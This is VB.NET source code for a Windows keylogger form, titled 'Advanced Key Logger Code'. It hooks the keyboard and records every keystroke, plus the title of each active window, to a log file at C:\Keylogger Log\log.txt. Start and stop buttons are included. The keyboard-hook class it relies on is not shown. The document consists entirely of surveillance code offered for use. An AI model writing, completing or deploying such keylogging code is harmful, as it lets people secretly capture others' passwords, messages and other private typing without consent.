Advanced Key Logger Code

Imports System.IO
Imports Microsoft.Win32

Public Class Form1
    Dim WithEvents K As New Keyboard
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 ' This was the missing int32.
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal ipstring As String, ByVal cch As Int32) As Int32
    Dim strin As String = Nothing

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        K.DiposeHook()
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        TextBox1.Text = TextBox1.Text + Now()
        IO.Directory.CreateDirectory("C:\Keylogger Log")
        IO.File.AppendAllText("C:\Keylogger Log\log.txt", vbNewLine + "------------------------------------------------------------------" + vbNewLine + "Keylogged Strokes - " + Now() + vbNewLine + "------------------------------------------------------------------" + vbNewLine)
        K.CreateHook()
        Timer1.Start()

    End Sub

    Private Sub K_Down(ByVal Key As String) Handles K.Down
        TextBox1.Text &= Key
        IO.File.AppendAllText("C:\Keylogger Log\log.txt", Key)
    End Sub

    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100) 'Error at this line says: MarshalDirectiveException was unhandled 'PInvoke restriction: cannot return variants, this was due to a missing "int32".
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If strin <> GetActiveWindowTitle() Then
            TextBox1.Text = TextBox1.Text + vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine
            IO.File.AppendAllText("C:\Keylogger Log\log.txt", vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine)
            strin = GetActiveWindowTitle()
        End If
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        K.CreateHook()
        Timer1.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        K.DiposeHook()
        Timer1.Stop()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        IO.File.AppendAllText("C:\Keylogger Log\log.txt", TextBox1.Text)
    End Sub
End Class